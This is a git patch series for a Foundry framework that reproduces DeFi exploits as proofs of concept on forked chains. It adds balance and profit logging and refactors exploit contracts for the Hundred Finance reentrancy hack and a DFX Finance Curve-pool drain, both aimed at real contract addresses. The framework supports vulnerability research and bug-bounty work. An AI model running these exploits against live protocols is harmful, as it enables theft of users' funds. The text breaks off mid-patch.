From f5e195862190ec3666450498b04da4f54c75da90 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Wed, 30 Aug 2023 17:26:56 +0200 Subject: [PATCH 01/11] Added PoC template with print standards --- src/FlashLoanTemplate.sol | 23 -------- src/PoC.sol | 89 +++++++++++++++++++++++++++++++ src/PriceManipulationTemplate.sol | 41 -------------- src/ReentrancyTemplate.sol | 34 ------------ src/TokenTemplate.sol | 10 ---- 5 files changed, 89 insertions(+), 108 deletions(-) delete mode 100644 src/FlashLoanTemplate.sol create mode 100644 src/PoC.sol delete mode 100644 src/PriceManipulationTemplate.sol delete mode 100644 src/ReentrancyTemplate.sol delete mode 100644 src/TokenTemplate.sol diff --git a/src/FlashLoanTemplate.sol b/src/FlashLoanTemplate.sol deleted file mode 100644 index aeaf875..0000000 --- a/src/FlashLoanTemplate.sol +++ /dev/null @@ -1,23 +0,0 @@ -pragma solidity ^0.8.0; - -import "./flashloan/FlashLoan.sol"; -import "./tokens/Tokens.sol"; - -import "forge-std/console.sol"; - -contract FlashLoanTemplate is FlashLoan, Tokens { - function initiateAttack() external { - // Take flash loan on some token - deal(EthereumTokens.DAI, address(this), 900000000000000); - takeFlashLoan(FlashLoanProviders.AAVEV1, address(EthereumTokens.DAI), 1 ether); - } - - function _executeAttack() internal override { - // Execute attack and use flash loaned funds here - } - - function _completeAttack() internal override { - // Finish attack - // This function is called after the flash loan is repayed - } -} diff --git a/src/PoC.sol b/src/PoC.sol new file mode 100644 index 0000000..105ca0d --- /dev/null +++ b/src/PoC.sol @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "forge-std/Test.sol"; + +import { + Tokens, + IERC20 +} from "./tokens/Tokens.sol"; + +struct TokenBalance { + IERC20 token; + int256 amount; +} + +contract PoC is Test, Tokens { + mapping(address => TokenBalance[][]) public tokensBalance; + + /// @notice snapshot the balance of the attacker for the specified tokens + /// @param _user the user to snapshot the balance of + /// @param _tokens the list of tokens to snapshot the balance of + /// @return tokenBalances the list of token balances + function snapshotBalance(address _user, IERC20[] memory _tokens) + public + returns (TokenBalance[] memory tokenBalances) + { + tokenBalances = new TokenBalance[](_tokens.length); + uint256 index = tokensBalance[_user].length; + tokensBalance[_user].push(); + for (uint256 i = 0; i < _tokens.length; i++) { + uint256 tokenBalance = address(_tokens[i]) != address(0x0) ? _tokens[i].balanceOf(_user) : _user.balance; + require(tokenBalance <= uint256(type(int256).max), "PoC: balance too large"); + tokenBalances[i].token = _tokens[i]; + tokenBalances[i].amount = int256(tokenBalance); + tokensBalance[_user][index].push(tokenBalances[i]); + } + } + + /// @notice snapshot the balance of the attacker for the specified tokens + /// @param _user the user to snapshot the balance of + /// @param _tokens the list of tokens to snapshot the balance of + modifier snapshot(address _user, IERC20[] memory _tokens) { + snapshotBalance(_user, _tokens); + printBalance(_user, 0); + _; + snapshotBalance(_user, _tokens); + printBalance(_user, tokensBalance[_user].length - 1); + printProfit(address(_user)); + } + + /// @notice prints the balance of the user for the specified tokens + /// @param _user the user to print the balance of + /// @param _index the index of the balance snapshot to print + function printBalance(address _user, uint256 _index) public view { + console.log("Balance of [%s] at block #%s", _user, block.number); + console.log("---------------------------------"); + console.log(" SYM | Balance | TOKEN_ADDRESS"); + console.log("---------------------------------"); + for (uint256 j = 0; j < tokensBalance[_user][_index].length; j++) { + uint256 balance = uint256(tokensBalance[_user][_index][j].amount); + // Normalize to token decimals + balance = balance / 10 ** tokensBalance[_user][_index][j].token.decimals(); + string memory symbol = tokensBalance[_user][_index][j].token.symbol(); + console.log("%s | %s | %s", symbol, balance, address(tokensBalance[_user][0][j].token)); + } + console.log(); + } + + /// @notice prints the profit of the user for the specified tokens + /// @param _user the user to print the profit of + function printProfit(address _user) public view { + console.log("Profit for [%s]", _user); + console.log("---------------------------------"); + console.log(" SYM | PROFIT | TOKEN_ADDRESS"); + console.log("---------------------------------"); + for (uint256 j = 0; j < tokensBalance[_user][0].length; j++) { + int256 profit = tokensBalance[_user][tokensBalance[_user].length - 1][j].amount + - int256(tokensBalance[_user][0][j].amount); + uint256 abs_profit = profit < 0 ? uint256(-profit) : uint256(profit); + // Normalize to token decimals + abs_profit = abs_profit / 10 ** tokensBalance[_user][0][j].token.decimals(); + string memory sign = profit < 0 ? "-" : ""; + string memory symbol = tokensBalance[_user][0][j].token.symbol(); + string memory template = string.concat(symbol, " | %s%s | %s"); + console.log(template, sign, abs_profit, address(tokensBalance[_user][0][j].token)); + } + console.log(); + } +} diff --git a/src/PriceManipulationTemplate.sol b/src/PriceManipulationTemplate.sol deleted file mode 100644 index d2a23db..0000000 --- a/src/PriceManipulationTemplate.sol +++ /dev/null @@ -1,41 +0,0 @@ -pragma solidity ^0.8.0; - -import "./pricemanipulation/PriceManipulation.sol"; -import "./tokens/Tokens.sol"; - -import "forge-std/console.sol"; - -contract PriceManipulationTemplate is PriceManipulation, Tokens { - // stETH / ETH Curve pool - ICurvePool pool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); - - function initiateAttack() external { - // In this example we are dealing ETH and stETH to an attacker to use for price manipulation - // of the stETH / ETH Curve pool. This allows us to manipulate the virtual price of the asset - // for an attack on a protocol which relies on the data from this oracle - deal(EthereumTokens.NATIVE_ASSET, address(this), 100000e18); - // Submit half our ETH to the stETH contract to get the stETH we need - IstETH(address(EthereumTokens.stETH)).submit{value: 50000e18}(address(0x0)); - console.log("Virtual price before:", pool.get_virtual_price()); - manipulatePrice(PriceManipulationProviders.CURVE, EthereumTokens.ETH, EthereumTokens.stETH, 50000e18, 50000e18); - _completeAttack(); - } - - function _executeAttack() internal override { - // Execute attack and use flash loaned funds here - console.log("Virtual price during:", pool.get_virtual_price()); - } - - function _completeAttack() internal override { - // Finish attack - console.log("Virtual price after :", pool.get_virtual_price()); - } -} - -interface ICurvePool { - function get_virtual_price() external view returns (uint256); -} - -interface IstETH { - function submit(address referrel) external payable; -} diff --git a/src/ReentrancyTemplate.sol b/src/ReentrancyTemplate.sol deleted file mode 100644 index 923d77d..0000000 --- a/src/ReentrancyTemplate.sol +++ /dev/null @@ -1,34 +0,0 @@ -pragma solidity ^0.8.13; - -import "./reentrancy/Reentrancy.sol"; - -import "forge-std/console.sol"; - -contract ReentrancyTemplate is Reentrancy { - // The victim to perform reentrancy attack on - address target; - - constructor(address victim) { - target = victim; - } - /** - * @dev Initiates the reentrancy attack. Make any calls to the target contract, and continue reentrancy attack in the below callback function - */ - - function initiateAttack() external { - // Initiate call to the target contract - console.log("Initiating attack on %s", target); - - // TODO: Modify the attack here to initiate reentrancy in your victim - // Interface(target).someFunction(); - } - - function _executeAttack() internal override { - // TODO: Modify the attack here - } - - function _completeAttack() internal override { - console.log("Attacker balance after %s", address(this).balance); - // TODO: Modify the attack cleanup here - } -} diff --git a/src/TokenTemplate.sol b/src/TokenTemplate.sol deleted file mode 100644 index 5bdcbe2..0000000 --- a/src/TokenTemplate.sol +++ /dev/null @@ -1,10 +0,0 @@ -pragma solidity ^0.8.0; - -import "./tokens/Tokens.sol"; - -contract TokenTemplate is Tokens { - function initiateAttack() external { - //deal(EthereumTokens.USDC, address(this), 1 ether); - // TODO: Modify the attack here - } -} From b2863cc348ddf12f7b85b6f2550964adf76ff12d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Wed, 30 Aug 2023 17:27:18 +0200 Subject: [PATCH 02/11] Forge fmt --- src/PoC.sol | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/src/PoC.sol b/src/PoC.sol index 105ca0d..7ca43b7 100644 --- a/src/PoC.sol +++ b/src/PoC.sol @@ -3,10 +3,7 @@ pragma solidity ^0.8.13; import "forge-std/Test.sol"; -import { - Tokens, - IERC20 -} from "./tokens/Tokens.sol"; +import {Tokens, IERC20} from "./tokens/Tokens.sol"; struct TokenBalance { IERC20 token; From 326ad95d57de64c69aa22a87647ec5a234b31161 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Wed, 30 Aug 2023 18:55:06 +0200 Subject: [PATCH 03/11] Integrated PoC fund snapshotting to existing PoCs --- pocs/DFXFinanceBugfixReview.sol | 62 +++++++------------ pocs/HundredFinanceHack.sol | 36 +++++++---- src/PoC.sol | 86 +++++++++++++++++++++----- test/FlashLoan.t.sol | 21 ------- test/PriceManipulation.t.sol | 22 ------- test/Reentrancy.t.sol | 17 ----- test/Tokens.t.sol | 21 ------- test/pocs/DFXFinanceBugfixReview.t.sol | 17 ++++- test/pocs/HundredFinanceHack.t.sol | 13 +++- 9 files changed, 143 insertions(+), 152 deletions(-) delete mode 100644 test/FlashLoan.t.sol delete mode 100644 test/PriceManipulation.t.sol delete mode 100644 test/Reentrancy.t.sol delete mode 100644 test/Tokens.t.sol diff --git a/pocs/DFXFinanceBugfixReview.sol b/pocs/DFXFinanceBugfixReview.sol index a63972d..4578b23 100644 --- a/pocs/DFXFinanceBugfixReview.sol +++ b/pocs/DFXFinanceBugfixReview.sol @@ -2,37 +2,30 @@ pragma solidity ^0.8.0; import "../src/tokens/Tokens.sol"; +import "../src/PoC.sol"; -contract DFXFinanceBugfixReview is Tokens { +contract DFXFinanceBugfixReview is PoC { ICurve constant curve_pool = ICurve(0x2385D7aB31F5a470B1723675846cb074988531da); IERC20 constant EURS = IERC20(0xE111178A87A3BFf0c8d18DECBa5798827539Ae99); - function initiateAttack() external { - console.log("\n>>> Initiate attack\n"); - - // Deal tokens to attacker - console.log("> Deal 100 EURS and 100 USDC to attacker"); - deal(PolygonTokens.USDC, address(this), 100 * 1e6); - deal(EURS, address(this), 100 * 1e2); - - uint256 attacker_euro_balance = EURS.balanceOf(address(this)); - uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this)); + IERC20[] tokens; - console.log("EURO balance of attacker:", attacker_euro_balance); - console.log("USDC balance of attacker:", attacker_usdc_balance); + function initiateAttack() external { + console.log(">> Initiate attack\n"); - uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool)); - uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool)); + tokens.push(PolygonTokens.USDC); + tokens.push(EURS); - console.log("EURO balance of Curve pool:", curve_euro_balance); - console.log("USDC balance of Curve pool:", curve_usdc_balance); + // snapshotAndPrint(address(curve_pool), tokens); + setAlias(address(curve_pool), "curve_pool"); + setAlias(address(this), "Attacker"); // Execute attack multiple times to drain pool _executeAttack(); } function _executeAttack() internal { - console.log("\n>>> Execute attack\n"); + console.log(">>> Execute attack\n"); // Approve curve pool to use funds PolygonTokens.USDC.approve(address(curve_pool), PolygonTokens.USDC.balanceOf(address(this))); @@ -48,40 +41,31 @@ contract DFXFinanceBugfixReview is Tokens { // Deposit small amount in a loop 10,000 times to gain curve LP tokens without depositing EURS // If gas price is 231 wei = 0.000000231651787155 => Gas = 161 matic - console.log("> Deposit small amount to curve pool 10,000 times"); + console.log("Deposit small amount to curve pool 10,000 times"); for (uint256 i = 0; i < 10000; i++) { curve_pool.deposit(deposit, minQuoteAmount, minBaseAmount, maxQuoteAmount, maxBaseAmount, deadline); } - uint256 attacker_euro_balance = EURS.balanceOf(address(this)); - uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this)); + console.log("Attacker balance after deposit attack"); + snapshotAndPrint(address(this), tokens); - console.log("EURO balance of attacker:", attacker_euro_balance); - console.log("USDC balance of attacker:", attacker_usdc_balance); + console.log("Withdraw curve pool LP tokens"); + + console.log("CURVE balance of attacker"); + IERC20[] memory curve_token = new IERC20[](1); + curve_token[0] = IERC20(address(curve_pool)); + snapshotAndPrint(address(this), curve_token); - console.log("> Withdraw curve pool LP tokens"); - uint256 curvesToBurn = curve_pool.balanceOf(address(this)); - console.log("CURVE balance of attacker:", curvesToBurn); // Withdraw curve LP tokens to receive proportion of liquidity in pool of EURS and USDC + uint256 curvesToBurn = curve_pool.balanceOf(address(this)); curve_pool.withdraw(curvesToBurn, deadline); _completeAttack(); } function _completeAttack() internal { - console.log("\n>>> Attack complete\n"); - - uint256 attacker_euro_balance = EURS.balanceOf(address(this)); - uint256 attacker_usdc_balance = PolygonTokens.USDC.balanceOf(address(this)); - - console.log("EURO balance of attacker:", attacker_euro_balance); - console.log("USDC balance of attacker:", attacker_usdc_balance); - - uint256 curve_euro_balance = EURS.balanceOf(address(curve_pool)); - uint256 curve_usdc_balance = PolygonTokens.USDC.balanceOf(address(curve_pool)); - - console.log("EURO balance of Curve pool:", curve_euro_balance); - console.log("USDC balance of Curve pool:", curve_usdc_balance); + // console.log("Curve pool balance after attack"); + // snapshotAndPrint(address(curve_pool), tokens); } } diff --git a/pocs/HundredFinanceHack.sol b/pocs/HundredFinanceHack.sol index 547304b..0ab8de6 100644 --- a/pocs/HundredFinanceHack.sol +++ b/pocs/HundredFinanceHack.sol @@ -3,11 +3,12 @@ pragma solidity ^0.8.0; import "../src/flashloan/FlashLoan.sol"; import "../src/reentrancy/Reentrancy.sol"; import "../src/tokens/Tokens.sol"; +import "../src/PoC.sol"; import "forge-std/interfaces/IERC20.sol"; import "forge-std/console.sol"; -contract HundredFinanceHack is FlashLoan, Reentrancy { +contract HundredFinanceHack is FlashLoan, Reentrancy, PoC { // Hundred Finance Markets on Gnosis Chain IERC20 constant husd = IERC20(0x243E33aa7f6787154a8E59d3C27a66db3F8818ee); IERC20 constant hxdai = IERC20(0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE); @@ -18,8 +19,6 @@ contract HundredFinanceHack is FlashLoan, Reentrancy { uint256 totalFlashloaned; function initiateAttack() external { - console.log("USDC balance before:", GnosisTokens.USDC.balanceOf(address(this))); - // Setup token pair and amounts to flash loan from UniswapV2 address[] memory tokens = new address[](2); tokens[0] = address(GnosisTokens.USDC); @@ -31,7 +30,6 @@ contract HundredFinanceHack is FlashLoan, Reentrancy { // Trigger the flash loan from the passed provider // This will call _executeAttack which has logic to determine if it's in the flash loan callback takeFlashLoan(FlashLoanProviders.UNISWAPV2, tokens, amounts); - console.log("USDC balance after:", GnosisTokens.USDC.balanceOf(address(this))); } function _executeAttack() internal override(FlashLoan, Reentrancy) { @@ -50,9 +48,15 @@ contract HundredFinanceHack is FlashLoan, Reentrancy { // we can reuse the collateral ICompoundToken(address(hxdai)).borrow(amount); } - } else if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) { - // Check that our current flash loan provider is Uniswap - console.log("USDC balance after flash loan:", GnosisTokens.USDC.balanceOf(address(this))); + } + // Check that our current flash loan provider is UniswapV2 + else if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) { + // Attacker USDC balance before borrow + console.log("Attacker USDC and xdai balances after flash loan"); + IERC20[] memory tokens = new IERC20[](2); + tokens[0] = GnosisTokens.USDC; + tokens[1] = IERC20(address(0x0)); + snapshotAndPrint(address(this), tokens); // Decode the parameters passed to the flash loan callback function, `uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data)` (, uint256 amount0, uint256 amount1,) = abi.decode(msg.data[4:], (address, uint256, uint256, bytes)); @@ -63,13 +67,20 @@ contract HundredFinanceHack is FlashLoan, Reentrancy { GnosisTokens.USDC.approve(address(husd), balance); ICompoundToken(address(husd)).mint(balance); + IERC20[] memory tokens2 = new IERC20[](2); + tokens2[0] = GnosisTokens.USDC; + tokens2[1] = husd; + console.log("Attacker USDC and hUSD balances after mint"); + snapshotAndPrint(address(this), tokens2); + // Borrow usdc agaist our minted husd // This triggers a token callback on our contract through the transfer of usdc uint256 amount = (totalFlashloaned * 90) / 100; ICompoundToken(address(husd)).borrow(amount); - console.log("Attacker USDC balance after borrow: %s USDC", GnosisTokens.USDC.balanceOf(address(this))); - console.log("Attacker xdai balance after borrow: %s XDAI", address(this).balance); + // Attacker USDC and xdai balances after borrow + console.log("Attacker USDC and xdai balances after borrow"); + snapshotAndPrint(address(this), tokens); } } @@ -78,8 +89,11 @@ contract HundredFinanceHack is FlashLoan, Reentrancy { IWETH(payable(address(wxdai))).deposit{value: address(this).balance}(); wxdai.approve(address(curve), wxdai.balanceOf(address(this))); curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1); - console.log("Attacker USDC balance after swap: %s USDC", GnosisTokens.USDC.balanceOf(address(this))); - console.log("Attacker xdai balance after swap: %s XDAI", address(this).balance); + console.log("Attacker USDC and xdai balance after swap"); + IERC20[] memory tokens = new IERC20[](2); + tokens[0] = GnosisTokens.USDC; + tokens[1] = IERC20(address(0x0)); + snapshotAndPrint(address(this), tokens); } // Our contract needs to implement this function to be able to receive Gnosis chain's native asset, xdai diff --git a/src/PoC.sol b/src/PoC.sol index 7ca43b7..b2d4a87 100644 --- a/src/PoC.sol +++ b/src/PoC.sol @@ -3,7 +3,7 @@ pragma solidity ^0.8.13; import "forge-std/Test.sol"; -import {Tokens, IERC20} from "./tokens/Tokens.sol"; +import "./tokens/Tokens.sol"; struct TokenBalance { IERC20 token; @@ -12,6 +12,28 @@ struct TokenBalance { contract PoC is Test, Tokens { mapping(address => TokenBalance[][]) public tokensBalance; + mapping(address => string) public names; + + /// @notice snapshot the balance of the attacker for the specified tokens + /// @param _user the user to snapshot the balance of + /// @param _tokens the list of tokens to snapshot the balance of + /// @return tokenBalances the list of token balances + function snapshotAndPrint(address _user, IERC20[] memory _tokens) + public + returns (TokenBalance[] memory tokenBalances) + { + tokenBalances = new TokenBalance[](_tokens.length); + uint256 index = tokensBalance[_user].length; + tokensBalance[_user].push(); + for (uint256 i = 0; i < _tokens.length; i++) { + uint256 tokenBalance = address(_tokens[i]) != address(0x0) ? _tokens[i].balanceOf(_user) : _user.balance; + require(tokenBalance <= uint256(type(int256).max), "PoC: balance too large"); + tokenBalances[i].token = _tokens[i]; + tokenBalances[i].amount = int256(tokenBalance); + tokensBalance[_user][index].push(tokenBalances[i]); + } + printBalance(_user, index); + } /// @notice snapshot the balance of the attacker for the specified tokens /// @param _user the user to snapshot the balance of @@ -49,16 +71,20 @@ contract PoC is Test, Tokens { /// @param _user the user to print the balance of /// @param _index the index of the balance snapshot to print function printBalance(address _user, uint256 _index) public view { - console.log("Balance of [%s] at block #%s", _user, block.number); - console.log("---------------------------------"); - console.log(" SYM | Balance | TOKEN_ADDRESS"); - console.log("---------------------------------"); + string memory resolvedAddress = _resolveAddress(_user); + console.log("~~~ Balance of [%s] at block #%s", resolvedAddress, block.number); + console.log("-------------------------------------------------------------------------------"); + console.log(" Token address | Symbol | Balance"); + console.log("-------------------------------------------------------------------------------"); for (uint256 j = 0; j < tokensBalance[_user][_index].length; j++) { uint256 balance = uint256(tokensBalance[_user][_index][j].amount); // Normalize to token decimals - balance = balance / 10 ** tokensBalance[_user][_index][j].token.decimals(); - string memory symbol = tokensBalance[_user][_index][j].token.symbol(); - console.log("%s | %s | %s", symbol, balance, address(tokensBalance[_user][0][j].token)); + uint256 d = tokensBalance[_user][_index][j].token != IERC20(address(0x0)) ? tokensBalance[_user][_index][j].token.decimals() : 18; + balance = balance / 10 ** d; + uint256 decimals = balance % d; + string memory symbol = tokensBalance[_user][_index][j].token != IERC20(address(0x0)) ? tokensBalance[_user][_index][j].token.symbol() : "NATIVE"; + string memory template = string.concat("%s\t|\t", symbol, "\t|\t%s.%s"); + console.log(template, address(tokensBalance[_user][_index][j].token), balance, decimals); } console.log(); } @@ -66,21 +92,49 @@ contract PoC is Test, Tokens { /// @notice prints the profit of the user for the specified tokens /// @param _user the user to print the profit of function printProfit(address _user) public view { - console.log("Profit for [%s]", _user); - console.log("---------------------------------"); - console.log(" SYM | PROFIT | TOKEN_ADDRESS"); - console.log("---------------------------------"); + string memory resolvedAddress = _resolveAddress(_user); + console.log("~~~ Profit for [%s]", resolvedAddress); + console.log("-------------------------------------------------------------------------------"); + console.log(" Token address | Symbol | Profit"); + console.log("-------------------------------------------------------------------------------"); for (uint256 j = 0; j < tokensBalance[_user][0].length; j++) { int256 profit = tokensBalance[_user][tokensBalance[_user].length - 1][j].amount - int256(tokensBalance[_user][0][j].amount); uint256 abs_profit = profit < 0 ? uint256(-profit) : uint256(profit); // Normalize to token decimals - abs_profit = abs_profit / 10 ** tokensBalance[_user][0][j].token.decimals(); + uint256 d = tokensBalance[_user][0][j].token != IERC20(address(0x0)) ? tokensBalance[_user][0][j].token.decimals() : 18; + abs_profit = abs_profit / 10 ** d; + uint256 decimals = abs_profit % d; string memory sign = profit < 0 ? "-" : ""; - string memory symbol = tokensBalance[_user][0][j].token.symbol(); - string memory template = string.concat(symbol, " | %s%s | %s"); - console.log(template, sign, abs_profit, address(tokensBalance[_user][0][j].token)); + string memory symbol = tokensBalance[_user][0][j].token != IERC20(address(0x0)) ? tokensBalance[_user][0][j].token.symbol() : "NATIVE"; + string memory template = string.concat("%s\t|\t", symbol, "\t|\t", sign, "%s.%s"); + console.log(template, address(tokensBalance[_user][0][j].token), abs_profit, decimals); } console.log(); } + + function setAlias(address _user, string memory _alias) public { + names[_user] = _alias; + } + + function _resolveAddress(address _user) internal view returns (string memory) { + return bytes(names[_user]).length != 0 ? names[_user] : toAsciiString(_user); + } + + function toAsciiString(address x) internal pure returns (string memory) { + bytes memory s = new bytes(40); + for (uint i = 0; i < 20; i++) { + bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); + bytes1 hi = bytes1(uint8(b) / 16); + bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); + s[2*i] = char(hi); + s[2*i+1] = char(lo); + } + return string(s); + } + + function char(bytes1 b) internal pure returns (bytes1 c) { + if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); + else return bytes1(uint8(b) + 0x57); + } } diff --git a/test/FlashLoan.t.sol b/test/FlashLoan.t.sol deleted file mode 100644 index 537306c..0000000 --- a/test/FlashLoan.t.sol +++ /dev/null @@ -1,21 +0,0 @@ -pragma solidity ^0.8.13; - -import "forge-std/Test.sol"; -import "../src/FlashLoanTemplate.sol"; - -contract FlashLoanTest is Test { - uint256 mainnetFork; - - FlashLoanTemplate public flashLoanTemplate; - - function setUp() public { - mainnetFork = vm.createFork("eth"); - vm.selectFork(mainnetFork); - - flashLoanTemplate = new FlashLoanTemplate(); - } - - function testFlashLoan() public { - flashLoanTemplate.initiateAttack(); - } -} diff --git a/test/PriceManipulation.t.sol b/test/PriceManipulation.t.sol deleted file mode 100644 index 1eabfa2..0000000 --- a/test/PriceManipulation.t.sol +++ /dev/null @@ -1,22 +0,0 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.13; - -import "forge-std/Test.sol"; -import "../src/PriceManipulationTemplate.sol"; - -contract PriceManipulationTest is Test { - uint256 mainnetFork; - - PriceManipulationTemplate public attackContract; - - function setUp() public { - mainnetFork = vm.createFork("eth"); - vm.selectFork(mainnetFork); - - attackContract = new PriceManipulationTemplate(); - } - - function testPriceManipulationAttack() public { - attackContract.initiateAttack(); - } -} diff --git a/test/Reentrancy.t.sol b/test/Reentrancy.t.sol deleted file mode 100644 index a73922a..0000000 --- a/test/Reentrancy.t.sol +++ /dev/null @@ -1,17 +0,0 @@ -pragma solidity ^0.8.13; - -import "forge-std/Test.sol"; -import "../src/ReentrancyTemplate.sol"; - -contract ReentrancyTest is Test { - ReentrancyTemplate public attackContract; - address victimContract = address(0x0); // Modify this to be your victim contract - - function setUp() public { - attackContract = new ReentrancyTemplate(address(victimContract)); - } - - function testReentrancyAttack() public { - attackContract.initiateAttack(); - } -} diff --git a/test/Tokens.t.sol b/test/Tokens.t.sol deleted file mode 100644 index 9f57c45..0000000 --- a/test/Tokens.t.sol +++ /dev/null @@ -1,21 +0,0 @@ -pragma solidity ^0.8.13; - -import "forge-std/Test.sol"; -import "../src/TokenTemplate.sol"; - -contract TokensTemplateTest is Test { - uint256 mainnetFork; - - TokenTemplate public tokenTemplate; - - function setUp() public { - mainnetFork = vm.createFork("eth"); - vm.selectFork(mainnetFork); - - tokenTemplate = new TokenTemplate(); - } - - function testAttack() public { - tokenTemplate.initiateAttack(); - } -} diff --git a/test/pocs/DFXFinanceBugfixReview.t.sol b/test/pocs/DFXFinanceBugfixReview.t.sol index 13b701d..f1d60f6 100644 --- a/test/pocs/DFXFinanceBugfixReview.t.sol +++ b/test/pocs/DFXFinanceBugfixReview.t.sol @@ -3,17 +3,30 @@ pragma solidity ^0.8.13; import "forge-std/Test.sol"; import "../../pocs/DFXFinanceBugfixReview.sol"; +import "../../src/PoC.sol"; -contract DFXFinanceBugfixReviewTest is Test { +contract DFXFinanceBugfixReviewTest is PoC { DFXFinanceBugfixReview attackContract; + IERC20[] tokens; + ICurve constant curve_pool = ICurve(0x2385D7aB31F5a470B1723675846cb074988531da); + IERC20 EURS = IERC20(0xE111178A87A3BFf0c8d18DECBa5798827539Ae99); function setUp() public { vm.createSelectFork("https://rpc.ankr.com/polygon", 42064500); attackContract = new DFXFinanceBugfixReview(); + tokens.push(PolygonTokens.USDC); + tokens.push(EURS); + + // Deal tokens to attacker + deal(PolygonTokens.USDC, address(attackContract), 100 * 1e6); + deal(EURS, address(attackContract), 100 * 1e2); + + setAlias(address(curve_pool), "curve_pool"); + setAlias(address(attackContract), "Attacker"); } - function testAttack() public { + function testAttack() public snapshot(address(attackContract), tokens) snapshot(address(curve_pool), tokens) { attackContract.initiateAttack(); } } diff --git a/test/pocs/HundredFinanceHack.t.sol b/test/pocs/HundredFinanceHack.t.sol index dc717cb..408c50b 100644 --- a/test/pocs/HundredFinanceHack.t.sol +++ b/test/pocs/HundredFinanceHack.t.sol @@ -1,20 +1,27 @@ pragma solidity ^0.8.13; -import "forge-std/Test.sol"; import "../../pocs/HundredFinanceHack.sol"; +import "../../src/PoC.sol"; -contract HundredFinanceHackTest is Test { +contract HundredFinanceHackTest is PoC { uint256 mainnetFork; HundredFinanceHack public hundredFinanceHack; + IERC20[] tokens; + IERC20 constant husd = IERC20(0x243E33aa7f6787154a8E59d3C27a66db3F8818ee); + IERC20 constant hxdai = IERC20(0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE); + IERC20 constant wxdai = IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d); + function setUp() public { mainnetFork = vm.createFork("gnosis", 21120000); vm.selectFork(mainnetFork); hundredFinanceHack = new HundredFinanceHack(); + tokens.push(GnosisTokens.USDC); + tokens.push(husd); } - function testFlashLoan() public { + function testFlashLoan() public snapshot(address(hundredFinanceHack), tokens) { hundredFinanceHack.initiateAttack(); } } From 8a533ffeb43b028a848091094546b963bd481a4e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Alejandro=20Mu=C3=B1oz-McDonald?= Date: Thu, 31 Aug 2023 11:20:39 +0200 Subject: [PATCH 04/11] Fixed integer and decimal part conversion. Changed comment formatting. --- pocs/DFXFinanceBugfixReview.sol | 3 +- pocs/HundredFinanceHack.sol | 2 +- src/PoC.sol | 100 +++++++++++++++++++++++--------- 3 files changed, 75 insertions(+), 30 deletions(-) diff --git a/pocs/DFXFinanceBugfixReview.sol b/pocs/DFXFinanceBugfixReview.sol index 4578b23..9bb2e26 100644 --- a/pocs/DFXFinanceBugfixReview.sol +++ b/pocs/DFXFinanceBugfixReview.sol @@ -11,7 +11,7 @@ contract DFXFinanceBugfixReview is PoC { IERC20[] tokens; function initiateAttack() external { - console.log(">> Initiate attack\n"); + console.log(">>> Initiate attack\n"); tokens.push(PolygonTokens.USDC); tokens.push(EURS); @@ -25,6 +25,7 @@ contract DFXFinanceBugfixReview is PoC { } function _executeAttack() internal { + console.log(PolygonTokens.USDC.balanceOf(address(this))); console.log(">>> Execute attack\n"); // Approve curve pool to use funds diff --git a/pocs/HundredFinanceHack.sol b/pocs/HundredFinanceHack.sol index 0ab8de6..f99ce61 100644 --- a/pocs/HundredFinanceHack.sol +++ b/pocs/HundredFinanceHack.sol @@ -79,7 +79,7 @@ contract HundredFinanceHack is FlashLoan, Reentrancy, PoC { ICompoundToken(address(husd)).borrow(amount); // Attacker USDC and xdai balances after borrow - console.log("Attacker USDC and xdai balances after borrow"); + console.log("Attacker USDC and xdai balances after borrow attack"); snapshotAndPrint(address(this), tokens); } } diff --git a/src/PoC.sol b/src/PoC.sol index b2d4a87..143ad03 100644 --- a/src/PoC.sol +++ b/src/PoC.sol @@ -11,13 +11,17 @@ struct TokenBalance { } contract PoC is Test, Tokens { + // For snapshotting users' balances mapping(address => TokenBalance[][]) public tokensBalance; + // For resolving addresses to aliases mapping(address => string) public names; - /// @notice snapshot the balance of the attacker for the specified tokens - /// @param _user the user to snapshot the balance of - /// @param _tokens the list of tokens to snapshot the balance of - /// @return tokenBalances the list of token balances + /** + * @notice snapshot the balance of the attacker for the specified tokens + * @param _user the user to snapshot the balance of + * @param _tokens the list of tokens to snapshot the balance of + * @return tokenBalances the list of token balances + */ function snapshotAndPrint(address _user, IERC20[] memory _tokens) public returns (TokenBalance[] memory tokenBalances) @@ -35,10 +39,12 @@ contract PoC is Test, Tokens { printBalance(_user, index); } - /// @notice snapshot the balance of the attacker for the specified tokens - /// @param _user the user to snapshot the balance of - /// @param _tokens the list of tokens to snapshot the balance of - /// @return tokenBalances the list of token balances + /** + * @notice snapshot the balance of the attacker for the specified tokens + * @param _user the user to snapshot the balance of + * @param _tokens the list of tokens to snapshot the balance of + * @return tokenBalances the list of token balances + */ function snapshotBalance(address _user, IERC20[] memory _tokens) public returns (TokenBalance[] memory tokenBalances) @@ -55,21 +61,23 @@ contract PoC is Test, Tokens { } } - /// @notice snapshot the balance of the attacker for the specified tokens - /// @param _user the user to snapshot the balance of - /// @param _tokens the list of tokens to snapshot the balance of + /** + * @notice snapshot the balance of the attacker for the specified tokens + * @param _user the user to 